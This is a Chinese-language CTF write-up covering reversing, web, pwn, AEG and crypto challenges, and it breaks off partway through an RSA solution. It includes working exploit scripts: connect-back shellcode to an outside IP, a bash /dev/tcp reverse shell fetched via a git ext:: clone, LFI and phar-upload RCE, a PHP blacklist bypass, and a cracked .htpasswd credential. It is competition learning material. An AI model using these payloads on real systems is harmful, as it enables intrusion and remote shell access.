<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>[<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<>,<>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>[>]<[[<]<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<+<<>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>[>]<-]<[<]><<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<[-]>>>[-]>[-]>[-]>[-]>[-]>[-]>[-]>[-]>[-]>[-]>[-]>[-]>[-]>[-]>[-]>[-]>[-]>[-]>[-]>[-]>[-]>[-]>[-]>[-]>[-]>[-]>[-]>[-]>[-]><<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<-[[>>>>>>[>>>]++[-<<<]<<<-]>]>>>[<]>[[>[>-<-]>[<<<<<<+>>>>>>[-]]>]+[<[<<<++>>>-]<<]>>]<<<<<>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>[>]<[[<]<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<+<>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>[>]<-]<[<]><<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<[-]>>>[-]>[-]>[-]>[-]>[-]>[-]>[-]>[-]>[-]>[-]>[-]>[-]>[-]>[-]>[-]>[-]>[-]>[-]>[-]>[-]>[-]>[-]>[-]>[-]>[-]>[-]>[-]>[-]>[-]><<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<-[[>>>>>>[>>>]++[-<<<]<<<-]>]>>>[<]>[[>[>-<-]>[<<<<<<+>>>>>>[-]]>]+[<[<<<++>>>-]<<]>>]<<<<<>>[<<>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<>>-]<<>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>-]<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>[<+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++..---------------------------------------------------------------------------------------------.<]
```
( 這裡省略掉最後的 65535 個 `<` )
透過 interpreter 執行後會輸出 `gg`
稍微分析一下會發現在程式會在 memory 上寫入一些值
中斷在讀取輸入前,可以從 memory 中發現兩組長度一樣的 data
猜測是將輸入與其中一組做運算之後與另一組比對:
```
0030: 6B 44 57 7E 63 48 66 64 40 60 21 7C kDW~cHfd@`!|
003C: 50 35 38 5C 27 67 5D 7C 49 3F 24 65 P58\'g]|I?$e
0048: 37 78 23 20 34 38 39 5E 00 00 00 00 7x#.489^....
0060: 16 77 60 4D 0F 38 0B 54 23 3F 46 12 .w`M.8.T#?F.
006C: 61 47 4D 6B 78 14 6C 23 27 53 51 13 aGMkx.l#'SQ.
0078: 68 4F 4E 46 4F 7E 6D 1D 00 00 00 00 hONFO~m.....
```
xor 後就得到 Flag 了...
```python
#!/usr/bin/env python
# -*- coding: utf-8 -*-
a = "6B44577E634866644060217C5035385C27675D7C493F2465377823203438395E".decode('hex')
b = "1677604D0F380B54233F461261474D6B78146C2327535113684F4E464F7E6D1D".decode('hex')
print "".join(chr(ord(a) ^ ord(b)) for a,b in zip(a, b))[::-1]
```
Flag: `CTF{fm7_vuln_1s_7ur1ng_c0mpl373}`
---
### 😇 Web / Pwnable 150 + 400 - Dream
> Do you have dream ?
> [BGM] https://www.youtube.com/watch?v=5fxPY4hi-P4
> http://ctf.pwnable.tw:1412
是個 `cgi` ,首先當然先想辦法得到 binary,掃了一下目錄發現存在 http://ctf.pwnable.tw:1412/.svn
透過工具抓下網站內容: https://github.com/kost/dvcs-ripper
`grep CTF -r ` 得到 Web 部份的 Flag: `CTF{Dont_forget_subversion_in_your_dream}`
接著分析 `dream.cgi`:
```cpp
void get_dream()
{
char *s; // ST0C_4@1
s = malloc(4096u);
sscanf(query, "dream=%[^&]", s);
dream = url_decode(s);
}
void take_off(char *dream, char *s)
{
int v2; // ST14_4@1
size_t v3; // [sp+0h] [bp-8h]@1
v2 = rand() % 13371337;
setenv("DREAM", dream, 1);
v3 = strlen(dream);
if ( v2 % 4869 )
sprintf(s, "{\"length\":%u,\"Come_True\":true,\"dream\":\"%s\"}", v3, dream);
else
sprintf(s, "{\"length\":%u,\"Come_True\":false,\"dream\":\"%s\"}", v3, dream);
}
int main(int argc, const char **argv, const char **envp)
{
char s[100]; // [sp+0h] [bp-64h]@1
init_proc();
header();
get_dream();
sleep(1u);
take_off(dream, s);
printf("%s", s);
return 0;
}
```
可以很快的發現 `take_off` 中有個單純的 bof,能夠覆蓋 main 的 return address
利用方式是先做 `ROP` 呼叫 `get_dream()` ,讓 eax 指向我們的 `QUERY_STRING` ,
再 jmp 到 `eax+100` 上的 shellcode 來得到反連 shell:
```python
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
jmp_eax = "%67%8b%04%08" # 0x08048b67
get_dream = "%67%88%04%08" # 0x8048867
asm_add_eax_100_jmp_eax = "%83%c0%64%ff%e0"
sc = asm(shellcraft.i386.linux.connect("140.113.209.23", 1234) +
shellcraft.i386.linux.dup2(3, 0) +
shellcraft.i386.linux.dup2(3, 1) +
shellcraft.i386.execve('/bin/sh'))
sc = "".join("%%%02x" % ord(c) for c in sc)
#print sc
QUERY_STRING=(
"dream=" +
asm_add_eax_100_jmp_eax.ljust(74, "A") +
get_dream +
jmp_eax + "%90" * 30 + sc
)
#print QUERY_STRING
r = listen(1234)
log.info("Press Ctrl+C after shellcode connected back to get a shell")
os.system("curl http://ctf.pwnable.tw:1412/cgi-bin/dream.cgi?" + QUERY_STRING)
r.interactive()
```
得到 shell 之後找到 seteuid 的 binary `/home/dream/get_flag`,還有 source code:
```c
#include <stdio.h>
#include <unistd.h>
#include <time.h>
#include <stdlib.h>
int main(){
setvbuf(stdout,0,2,0);
char buf[100];
char input[16];
unsigned int password;
int fd ;
FILE *fp = NULL ;
srand(time(NULL));
fd = open("/dev/urandom",0);
read(fd,&password,4);
close(fd);
printf("What your name ? ");
read(0,buf,99);
printf("Hello ,");
printf(buf);
printf("Your password :");
read(0,input,15);
if(atoi(input) != password){
puts("Goodbyte");
}else{
puts("Congrt!!");
fp = fopen("./f14gggggggg","r");
if(!fp){
puts("Failed");
exit(0);
}
fread(buf,1,80,fp);
printf("Here is your flag : %s\n",buf);
}
}
```
輸入 `%6$d` 就能透過 format string bug leak 出 `password` 讀取 flag
Flag: `CTF{Y0ur_dr34m_is_so_b34ut1ul}`
---
### 🤖 AEG 200 - AlphaPuzzle 💮
> Decode base64 encoded ELF binary from the server.
> And finish puzzles three times to capture the flag.
> nc 133.130.124.59 9991
> [Don't waste your time on this] https://www.youtube.com/watch?v=uuMNmHdr0Lg
> Hint:
> aHR0cHM6Ly91cmwuZml0L1hmVE9U
> [just_pepe_puzzle.jpg](https://final.csie.ctf.tw/files/006f3477cfc05661f9f1c7f5a315041c/just_pepe_puzzle.jpg)
首先,hint 一點屁用都沒有...
測試後會發現 server 每一次回傳的 ELF 都不一樣
執行 binary 後總共會讀取 9 次的輸入,每次輸入 `0` ~ `6` 中的 2 個數字,必須符合條件,總共需要通過 3 個 binary 的 check
直接用 angr 跑...
```python
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
import angr
r = remote("133.130.124.59", 9991)
r.recvuntil("base64\n")
def aeg():
elf = r.recvuntil("\n\n").decode('base64')
write("elf.out", elf)
log.info("elf dumped")
# load elf
p = angr.Project("./elf.out", load_options={"auto_load_libs": False})
# find target address
cfg = p.analyses.CFG()
target = cfg.kb.functions.function(name="catflag").addr
log.info("target=%x" % target)
# constraint
st = p.factory.entry_state()
st.posix.files[0].seek(0)
st.posix.files[0].length = 3 * 9
# explore
pg = p.factory.path_group(st, immutable=False, threads=4, veritesting=True)
pg.explore(find=target)
if not pg.found:
log.error("Failed")
fs = pg.found[0].state
ans = fs.posix.dumps(0).split("\n")[:-1] # stdin
pprint(ans)
for a in ans:
log.info(r.recvline())
r.sendline(a)
log.info(r.recvline())
for i in range(3):
aeg()
```
Flag: `CTF{5YW25a+m5pq05Yqb6Kej5aW95YOP5Lmf6Kej55qE5Ye65L6G}`
---
### 🤖 AEG 300 - oo 👉👌
> Try to decode base64 encoded elf from server.
> Let's oo together.
> nc 133.130.124.59 9992
一樣每次回傳的 binary 都不同,程式內部會產生一堆數字,並問你是多少
直接用 `objdump` 爬出來回傳即可:
```python
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
from commands import getoutput
r = remote("133.130.124.59", 9992)
r.recvuntil("base64\n")
def aeg():
elf = r.recvuntil("\n\n").decode('base64')
open("elf.out", "wb").write(elf)
log.info("dumped")
l = getoutput("objdump -M intel -d ./elf.out | grep 'DWORD PTR \[rip' | awk '{print $12}'")
ans = [int(i.split(",")[1],16) for i in l.split("\n")]
return ans
ans = aeg()
r.recvuntil("Guess O\n")
for a in ans:
r.sendline(str(a))
log.info(r.recvline())
log.info(r.recvline())
log.info(r.recvline())
r.sendline("cat /opt/oo/flag")
r.interactive()
```
Flag: `CTF{o_oo_ooo_th1s_1s_how_simple_acg_look_like}`
---
### 🤖 AEG 400 - sushi 🍣
> Try to decode base64 encoded elf from server.
> And make a delicious sushi.
> nc 133.130.124.59 9993
一樣每次回傳的 binary 都不同,程式會產生一串字串。然後挑兩個 byte 問你總合是多少,答對 20次就可以寫入 100 bytes 到程式中,並觸發一個 `gets()` 的 bof
偷懶直接用 angr dump 字串
最後寫入 shellcode 並覆蓋 return address,需要注意的是 bof 的 buffer size 每次都不同:
```python
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
import angr
from commands import getoutput
r = remote("133.130.124.59", 9993)
r.recvuntil("base64\n")
def aeg():
elf = r.recvuntil("\n\n").decode('base64')
open("elf.out", "wb").write(elf)
log.info("dumped")
p = angr.Project("./elf.out", load_options={"auto_load_libs": False})
st = p.factory.entry_state()
pg = p.factory.path_group(st, immutable=False, threads=4, veritesting=True)
pg.explore(find=0x4007B6) # same address for every elf
if not pg.found:
log.error("failed")
fs = pg.found[0].state
# read shushi
table = fs.se.any_str(fs.memory.load(0x6012c0, 100)) # mem
shushi = [ord(i) for i in table]
#print shushi
r.recvuntil("Guess what sushi looks like now!\n")
for _ in range(20):
s = r.recvline().split()
i = int(s[-3])
j = int(s[-1])
log.info("i=%d,j=%d" % (i,j))
si, sj = shushi[i], shushi[j]
# it's signed add
if si & 0x80:
si -= 0x100
if sj & 0x80:
sj -= 0x100
ans = si + sj
log.info("sum=%d" % ans)
r.send(str(ans).ljust(4)) # buf is 4... wtf
r.recvline()
r.sendline("\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05".ljust(99,"\x90"))
stack_size = int(getoutput("objdump -M intel -d ./elf.out | grep 4007bb").split(",")[-1],16)
log.info("stack_size=%d", stack_size)
r.sendline("A" * stack_size + p64(0x6012c0))
aeg()
r.sendline("cat /opt/sushi/flag") # why the flag is here...
r.interactive()
```
Flag: `CTF{1ife_1s_1ike_such1_as_known_as_sh1t}`
---
### 🐟 Web 100 - Admin Panel
> http://54.199.166.146/f31c286df3608f5b71ea528d7220974957bfb14d/
`header("Location: ban.php");` 之後沒結束
`curl http://54.199.166.146/f31c286df3608f5b71ea528d7220974957bfb14d/panel.php`
Flag: `CTF{Admin's_pane1_1s_0n_F1r3!?!?!}`
---
### 🐟 Web 200 - Hello
> http://54.199.166.146/258c634761ca928154687da257f68c5347ad68c3/
`http://54.199.166.146/258c634761ca928154687da257f68c5347ad68c3/?source=` 得到 source code:
```htmlmixed
<?php
$DEBUG = false;
error_reporting(0);
if ($DEBUG)
{
error_reporting(E_ALL);
ini_set('display_errors', 'On');
}
register_shutdown_function("functionNotFound");
function functionNotFound()
{
$last_error = error_get_last();
if ($last_error['type'] === E_ERROR)
echo "Function not found!";
}
// utils
$blacklist = array("system", "passthru", "exec", "read", "open", "eval", "backtick", "flag", "php", "`", "_");
function contains($s,$a)
{
foreach ($a as $value)
{
if (stristr($s,$value))
{
return 1;
}
}
return 0;
}
// user define functions
function hello($name)
{
echo "Hello $name! I put something interesting in flag.php.</br></br>";
}
function source()
{
highlight_file(__FILE__);
exit();
}
if(count($_GET) > 0)
{
if(contains($_SERVER['REQUEST_URI'],$blacklist))
{
die("Hacker detected!!");
}
list($key, $val) = each($_GET);
if (strlen($key) > 6)
{
die("Function name is too long! Hacker detected!!");
}
$key($val);
}
?>
<form>
What's your name? I have something to tell you. <br/>
<input type="text" name="hello">
<button type="submit" value="Submit">Submit</button>
</form>
<!--
function hello($name) { ... }
function source() { ... }
-->
```
`http://54.199.166.146/258c634761ca928154687da257f68c5347ad68c3/?assert=highlight%5Ffile("%66lag.%70hp")`
繞過黑名單
Flag: `CTF{bypass_php_filter_is_so_fuN!}`
---
### 🐟 Web 200 - Snoopy's flag
> http://54.199.166.146/699e46f901f0533e28b21b4a13e27e2f7b9092a2/
Local File Inclusion:
`curl http://54.199.166.146/699e46f901f0533e28b21b4a13e27e2f7b9092a2/image.php?p=../admin/.htaccess`
```
AuthType Basic
AuthName "Password Protected Area"
AuthUserFile /var/www/web3/admin/.htpasswd_which_you_should_not_know
Require valid-user
Options +Indexes
```
`curl "http://54.199.166.146/699e46f901f0533e28b21b4a13e27e2f7b9092a2/image.php?p=../admin/.htpasswd_which_you_should_not_know"`
`secret_admin:K7WeKYm8O5MQI`
用 `john` 破出明文密碼: `!@#$%^&* (secret_admin)`
登入 `http://54.199.166.146/699e46f901f0533e28b21b4a13e27e2f7b9092a2/admin` 得到 Flag
Flag: `CTF{apache_config_file_is_sensitive}`
---
### 🐟 Web 300 - Snoopy's Pics
> http://54.199.198.25/1e73b9bac0d4e522b0557fad209de3f9a8197bc4/
Local File Inclusion
`curl http://54.199.198.25/1e73b9bac0d4e522b0557fad209de3f9a8197bc4/?p=php://filter/convert.base64-encode/resource=index`
```php
<?php
$FROM_INCLUDE = true;
$pages = array(
// disabled
// "upload_snoopy" => "Uploads",
"about" => "About"
);
if (isset($_GET["p"]))
$p = $_GET["p"];
else
$p = "home";
if(strlen($p) > 100)
{
die("parameter is too long");
}
?>
<!DOCTYPE html>
<html lang="en">
<?php
include "header.php";
include $p . ".php";
?>
</body>
</html>
```
發現存在 `upload_snoopy.php` ,一個圖片上傳介面
`http://54.199.198.25/1e73b9bac0d4e522b0557fad209de3f9a8197bc4/?p=upload_snoopy`
看一下 source code:
`curl http://54.199.198.25/1e73b9bac0d4e522b0557fad209de3f9a8197bc4/?p=php://filter/convert.base64-encode/resource=upload_snoopy`
```htmlmixed
<?php
if (! $FROM_INCLUDE)
exit('not allow direct access');
function RandomString()
{
$characters = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";
$randstring = "";
for ($i = 0; $i < 9; $i++) {
$randstring .= $characters[rand(0, strlen($characters)-1)];
}
return $randstring;
}
$target_dir = "images/";
$target_file = $target_dir . basename($_FILES["fileToUpload"]["name"]);
$uploadOk = 0;
$imageFileType = pathinfo($target_file, PATHINFO_EXTENSION);
$fsize = $_FILES['fileToUpload']['size'];
$newid = RandomString();
$newname = $newid . ".jpg";
if(isset($_FILES["fileToUpload"])) {
if($imageFileType == "jpg")
{
$uploadOk = 1;
}
else
{
echo "<center><p>Sorry,we only accept jpg file</p></center>";
$uploadOk = 0;
}
if(!($fsize >= 0 && $fsize <= 200000))
{
$uploadOk = 0;
echo "<center><p>Sorry, the size too large.</p></center>";
}
}
if($uploadOk)
{
$newpath = $target_dir . $newname;
if (move_uploaded_file($_FILES["fileToUpload"]["tmp_name"], $newpath))
{
header('Location: ./images/' . $newid.'.jpg');
exit();
}
else
{
echo "<center><p>Sorry, there was an error in uploading your file.</p></center>";
}
}
?>
<!-- Page Content -->
<div class="container">
<!-- Marketing Icons Section -->
<div class="row">
<form method="POST" enctype="multipart/form-data">
<div class="form-group">
<label class="control-label">Select a good Snoopy picture (JPG only)</label>
<input id="input-1" name="fileToUpload" type="file" class="file">
</div>
</form>
</div>
<script>
// initialize with defaults
$("#input-1").fileinput();
// with plugin options
$("#input-1").fileinput({'showUpload':false, 'previewFileType':'any'});
</script>
</div>
```
upload 只檢查檔名結尾是 `.jpg`,可上傳 `phar` 並透過 include `phar wrapper` 實現 `RCE`
將 `shell.php` 打包成 zip,重命名為 `shell.jpg` 後上傳
`http://54.199.198.25/1e73b9bac0d4e522b0557fad209de3f9a8197bc4/?p=phar://./images/MOVB3TIuh.jpg/shell&c=cat%20/flag`
Flag: `CTF{finally_got_RCE_but_do_you_have_enough_sleep?}`
---
### 🍊 Web 300 - GIT
> Do you really know GIT :P
> Please HACK http://133.130.122.214/
```php
<?php
/* -----------------------------
Do you really know git :P
- Orange
----------------------------- */
highlight_file(__FILE__);
$dir = 'sandbox/' . $_SERVER['REMOTE_ADDR'];
if ( !file_exists($dir) )
mkdir($dir);
chdir($dir);
$cmd = $_GET['cmd'];
$url = $_GET['url'];
if ($cmd == 'clean') {
system("rm -rf .git");
// } else if ($cmd == 'log') {
// system("git log");
// } else if ($cmd == 'diff') {
// system("git diff");
// } else if ($cmd == 'init') {
// system("git init");
} else if ($cmd == 'clone') {
$url = escapeshellarg($url);
$url = str_replace('-', '', $url);
system("git clone " . $url);
} else {
die('what do you do?');
}
```
`CVE-2015-7545`
cmd.txt:
`bash -i > /dev/tcp/106.186.20.187/1234 0<&1 2>&1`
`http://133.130.122.214/?cmd=clone&url=ext::wget l4ys.tw/cmd.txt`
`http://133.130.122.214/?cmd=clone&url=ext::bash cmd.txt.1`
Ref: https://git-scm.com/docs/git-remote-ext
Flag: `CTF{Bug_bounty_really_learnable!!!Come and join us!!!}`
---
### 🔓 Crypto 100 - Simple
> nc csie.ctf.tw 10180
AES-OFB
給 FLAG 透過 Secret IV 以及 Secret Key 加密的結果,以及數個用相同方式加密的結果。我們已知 `Plaintext` 是 `string.letters + string.digits` 。因為 `AES-OFB` 的串結,所以 `Ciphertext = Plaintext ^ AES(KEY, IV)` ,也就是我們可以透過猜測 `AES(KEY, IV)` 的結果,並用數個相同方式加密的結果來驗證猜想的正確性。然後因為每次加密的字串來源相同,所以可以透過多次測試,來將結果侷限在其中一組上。
```python
#!/usr/bin/env python
import sys, os
import random
import string
import time
from Crypto.Cipher import AES
from base64 import *
block_size = 16
some_text = '''7jl5Clyfkcx+ItBhK2t87N4sJ28U7ho7GNZPHp797Pk=
mWsVJWaDupZDBuFoMGdN7tw4L2s8xWhiDuhZBpmly8w=
zlBKOF24tMdZAMdpB3ND8t88cm0V42hiO8xJaJOFytI=
53FpOUOGiM93JcFvE2g869VodFQzyRQ6N8NkIob42rI=
2UZHO3X7hOYMGsV+Gk9P+cUUDmMO4T5kWaNJYaGC47I=
zjsZJVOmkMR5NupJAVM/6uQTEmUkyBs7GfVoK7G+w+Q=
4DhFNkOi85IGBMUNO3ZP5tUFdGAO7Q4+GPk1B7GMx8g=
2mAcEFWsiNZuBuJQMXlZr/5uJm9Un28nDahYIoG4u+M=
009VGVuD+9tiZstUDkNh88wFMXBSwSQcGNRsF4Gq2bI=
2E5DKF+Ekc17IepgMUNx+7MyNFcy5RQAJ6lkH6e538Y=
wUxvH0mBh+RxBfRaNjQ9+9RpAFAnxhoUHfpSC6qmzbk=
7GlhbV6m8pZWO/R3FjBx7+ILJ0UE7TYdGM91adOet8Y=
8mVJL3eMtPZXAvNBOmVT57IZIFUNyRYXVuxMZ7Os48w=
nkR1MUaWuPsHEZ13cEVB+NUKJjcA+xkkO+luO4qA7dQ=
zlhENET7+9d2M5F2DFhs8bQXLHQB+h4LAfBxGJGb/fE=
zXF9GXKFrcJZFu4PD0RJ6cwpeV8IwB4gO981Jqyj/7k=
2Gp4aQGFtvUAaux6CmlRqPEvEUYq2xljPPRmOKmB+u8=
/UJLMkT3jNRgHcx+JmB6zdUqDUNR2g07OslTEtun4cQ=
zj9VEUKWge9mZONee3tGzOwIMFcN6W1hGN56HJyP9eU=
mmRYGmmppeIAIJxUAEx+5tQ6OGoK8DkbHu9qNImcyuw=
7UNbMEWdj5lZa9FMdlt58MEWMkpU/zM5NdpEOo7+ubE=
x0tlGEX9itRVFuJKC2Vb6cQ0G3Ag2xEAOu5CPp2c/NM=
3npEEwP6h80EI+ZMC0JsqPIEBTMn/T08JMwyK5+au9Y=
5TBvDHeXtPRhG8FoK2hyq+43Lz4oxCokO6poHIOg5Ps=
klh8KHv2hM5xM9VoKVtN2fcqE29R3w86H+xXE9z5weQ=
'''
texts = some_text.split()
FLAG = '6VxqJhTur8gFZtZndG5U6u5uHm9V6mw8XOxAI4D+sPw='
#IV = 'a' * 16
IV = ''
texts = [IV + b64decode(s) for s in texts]
FLAG = IV + b64decode(FLAG)
flag = ''
#texts.append(FLAG)
plaintext = [''] * len(texts)
for i in xrange(len(IV), 32 + len(IV)):
for k in xrange(256):
con = True
for text in texts:
tar = ord(text[i]) ^ k
if chr(tar) not in string.letters + string.digits:
con = False
break
if con:
for x in xrange(len(texts)):
plaintext[x] += chr(k ^ ord(texts[x][i]))
flag += chr(k ^ ord(FLAG[i]))
for s in plaintext:
print s
print string.letters + string.digits
print flag
print ''.join([c for c in flag if c in string.letters + string.digits])
```
Flag: `CTF{$!mi14r_7o_th3_h3@0m3w@rk5?}`
---
### 🔓 Crypto 200 - RSA
同一組明文透過不同密鑰加密,可透過 `Hastad's Broadcast Attack` 解出
從 output 取出 `e=7` 的 `n` 及 `c` ,用 `CRT` 算出 Flag:
```python
#!/usr/bin/env python
# -*- coding: utf-8 -*-
import gmpy
data = [{"n": 88915379777904220480592965231356288056731383962858378813795992867325415494232591101369475346005319526467392759168718676817426236490049372700046953192242554849669083680644269807020713343649693493391967704982398710494816670896969853530390409751004044500179983368339771742667306000453312700864988959043510405757844065684630163017301645228843333095653510881118262362873430270092297097520114637905111719730735393337490859403819803866582550676871351609053866045219052425492955032713610577632707036033362957006618381769590533733351146385104861858114490180355083406077980747627293257655435678804509990810760526889137878205587, "e": 7 ,"c": 33547004061102933765282913425404261682238327617521894423858042865935039767875675735512344723213603573887370473383693327563182319798984035994305101686839405854379012054563399473920378199258727455889100240775458765741591285834899571449641363862656172916058027923879828042179863345070226311290655400141947947077690079794445176134575297310405553196629094734342974101672001182839224548502918599346959061769370335219922003654624018222027658644656892257011562533056026347569886327198025301011781604334991530103244042918463528464195368513652958397583022079775025392306142757745220532922312147367089660743115963881951574390262},
{"n": 85937464834800440448779023483739705743537323986754525659171871858240147041569199865953053169478535993937225638362618068221300356308766381119980731903946196065980001660073172673803494616091263758904883730021398576375079808746326215740545415080710072793495247556868493661250598926986840339347929980665621131801861595219576239833573354164766697206670012421174002288583434197100677231770293635204060820570183428510363701508701159462299177870973708728822458568445338303275703746612609015298809130228012991654201519449008112224483594406117972259479473745702807289893719590497760090322584221980780225213891739876489083585757, "e": 7 ,"c": 48724332165995913977844906117462828935947440967477497532869304734595570809501780844474104204542070189595326149962631358840524405967630599424740127470047487809579688578439652891833857650069010469429281754988660601841048262206670010832293470413006066884666044871592149572826717231689874638175952285300678859957450045905563820292937930059940187095877407685747960745981120708262009261701257435482095335328558022086934884737516294416591076275810839606228010378127829469827002961345035432166638140158469081464567169557045581938190437636125430362289266619713266770139710693685316760826737106955358629832940545756799957927913},
{"n": 75161724624400680907344700366549962017585202517439688851108081386105811051501830342282922943512575434556882722635542694410146690660952844097279579396363925446192922960147531113032247663225473961541063426582774484535746061173779281358329491616170358789910335815704625511033752324457439099336888113779884363177850701040316726766755677133072225769203425981920980068994522696437466634233261921408363221074175645538995085332595443358694280430108910403248225085389002326566476180404432263432804686406458659495121577254207680509705087551038661699432196760794858878274901588872786596437228396471774316441000729164846333506349, "e": 7 ,"c": 14169696545155822854937121913690858330271879875429917393512474698712174853322892075416792477196566749335257219142515453979929137860730968008611876889689315548596033486906819369177005114678765753306705546619958080967233534254074452905340283916248965272883713887670761194331607292243702599486481458106213274235078890289193989624803810853255653594169664624777348754298483104800886158711854828283841946903156505099294704768117151598058923523722241419194785356282943539017745496108482813263236945797269621840229814455199209879675309163607787334958891577595055762246343698558006863383466375502189420931418995279794373204392},
{"n": 56868680688293676260355321083353789041475537734140633595933408997481186428795132040058374272112962910716673671774791927020035988017815500220112790364993030075059278171385947320096371629762708132941386013457467895072260231487325099497685051971295226767255428231166258001590038896723386065662613815270219738371363502766131292786008840470804378262352466288291034165588603196904548910977778174316040750498579826800379527767985738266939663213127824534919553009306515829389444733216483560488349518542496071176782491828899709634085763574740737021875781704682829448918310070084057529258510447229555167481960724140757065036309, "e": 7 ,"c": 30573593511274586668680008169544388348952539044195095064077371904950788268808608391546586239197858470340677680364766128749981978852224537209742040798235704872691831557181874380739110783143115886266025871415777294027382295376514950396090912418221289825644942264463688252497003324495130475628343195716889755657330236877541425962074234149154681497766757510150932321808371306144519202710420754428459486241697628938802817159497599329405164687942898723546996742642523574815461061288050393227621910177000979254697997102507413052245594212935297283659391374567068538158948770160683494396513269663739504321365684236328624149609},
{"n": 37392447517109699553636556010863604779108808239388722535340023098488823146374574992491330173077852622116290569997698398921962019283612903618009862978006891771549890711372643769395130442649590352873541827956615659259041830323057369845378603040036154195791520471589669668917488063638235537912397288458368005164503171736792713458686424680362671784040410720431683952308722160541058777957271912609712459986460518023444540959447153980907163818627865405453106531279729113474798405762228457912323106800035537075619649448205967933428622266811803268517529113715660280567348441379437468247703255175737588572324107352306236369699, "e": 7 ,"c": 16209867591439871945542708911739363213137977561683807924481552819254149586073163507600264139376732145827194237508721477793480892343294998552096558791633032408078671338632943848399424060090611611772262129620193292824659774289663416494215610818812225205349287924402521373636649273093388021509357532971835568870675990050738530902209937727031875011220451343825857393861920162967931988526813185393237294722851861854593395259219985097104736118638215994702979377415518500301295962475060594553713316449477373653410478332114538699565821995916539529777274176659127165906972265353886751281292703760467171448150656307998879687123},
{"n": 65256754988080624321862819578014507876138516586800580513722514108031954035036369498995388924880564699545393660624499461324475337600233716922682659842984105806653553786920890167020843565913411033147940820663991091844817976617875089892681435328012008786127071246362776071362465097046927729984768350661190732989058733520839596558866150738181740630160271432828557581044199123917927862385544043660381827088277186730068496617148727509329771193863819965757216964552060870635204781025902152779923625149008026646087219214146142946816045807520207277149929487889636997513072801036893962425841227848551603626041753808095499587793, "e": 7 ,"c": 64286727682038726271460372383486562553704796492251542657272001470138707011450298098588894535168038037539524830328862293663092122512572021743693373333759810379012654685705623832044790535293465989964785627496636803320610338072425649724483971437091746934774219397637431433686759745790854215361269448095099918944309171224217213232151738242764377671573182687827217075273462040202069778283277975276391585716580423068347987039124606587371220380541449451798110489319629608165271477160680832772870788327442270722824789499884307465784845917895815368881662534085424334496399878812702246036478758806729871104846231820028678611425},
]
e = 7
data = [(int(k["c"]), int(k["n"])) for k in data]
def extended_gcd(a, b):
x,y = 0, 1
lastx, lasty = 1, 0
while b:
a, (q, b) = b, divmod(a,b)
x, lastx = lastx-q*x, x
y, lasty = lasty-q*y, y
return (lastx, lasty, a)
def chinese_remainder_theorem(items):
N = 1
for a, n in items:
N *= n
result = 0
for a, n in items:
m = N/n
r, s, d = extended_gcd(n, m)
if d != 1:
raise "Input not pairwise co-prime"
result += a*s*m
return result % N, N
